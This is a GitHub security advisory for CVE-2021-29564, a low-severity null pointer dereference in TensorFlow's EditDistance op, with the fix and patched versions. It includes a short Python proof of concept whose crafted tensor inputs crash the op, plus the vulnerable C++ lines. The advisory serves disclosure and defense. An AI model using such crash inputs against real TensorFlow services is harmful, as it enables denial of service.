Null pointer dereference in `EditDistance`

Low **mihaimaruseac** published **GHSA-75f6-78jr-4656** on May 12, 2021

Package

tensorflow, tensorflow-cpu, tensorflow-gpu (pip)

Affected versions

< 2.5.0

Patched versions

2.1.4, 2.2.3, 2.3.3, 2.4.2

Description

Impact

An attacker can trigger a null pointer dereference in the implementation of `tf.raw_ops.EditDistance`:

```
import tensorflow as tf

hypothesis_indices = tf.constant([247, 247, 247], shape=[1, 3], dtype=tf.int64)
hypothesis_values = tf.constant([-9.9999], shape=[1], dtype=tf.float32)
hypothesis_shape = tf.constant([0, 0, 0], shape=[3], dtype=tf.int64)
truth_indices = tf.constant([], shape=[0, 3], dtype=tf.int64)
truth_values = tf.constant([], shape=[0], dtype=tf.float32)
truth_shape = tf.constant([0, 0, 0], shape=[3], dtype=tf.int64)

tf.raw_ops.EditDistance(
    hypothesis_indices=hypothesis_indices, hypothesis_values=hypothesis_values,
    hypothesis_shape=hypothesis_shape, truth_indices=truth_indices,
    truth_values=truth_values, truth_shape=truth_shape, normalize=True)
```

This is because the implementation has incomplete validation of the input parameters.

In the above scenario, an attacker causes an allocation of an empty tensor for the output:

```
OP_REQUIRES_OK(ctx, ctx->allocate_output("output", output_shape, &output));
auto output_t = output->flat<float>();
output_t.setZero();
```

Because `output_shape` has 0 elements, the result of `output->flat<T>()` has an empty buffer, so calling `setZero` would result in a null dereference.

Patches

We have patched the issue in GitHub commit f4c364a5d6880557f6f5b6eb5cee2c407f0186b3.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

Severity

Low

CVE ID

CVE-2021-29564

Weaknesses

No CWEs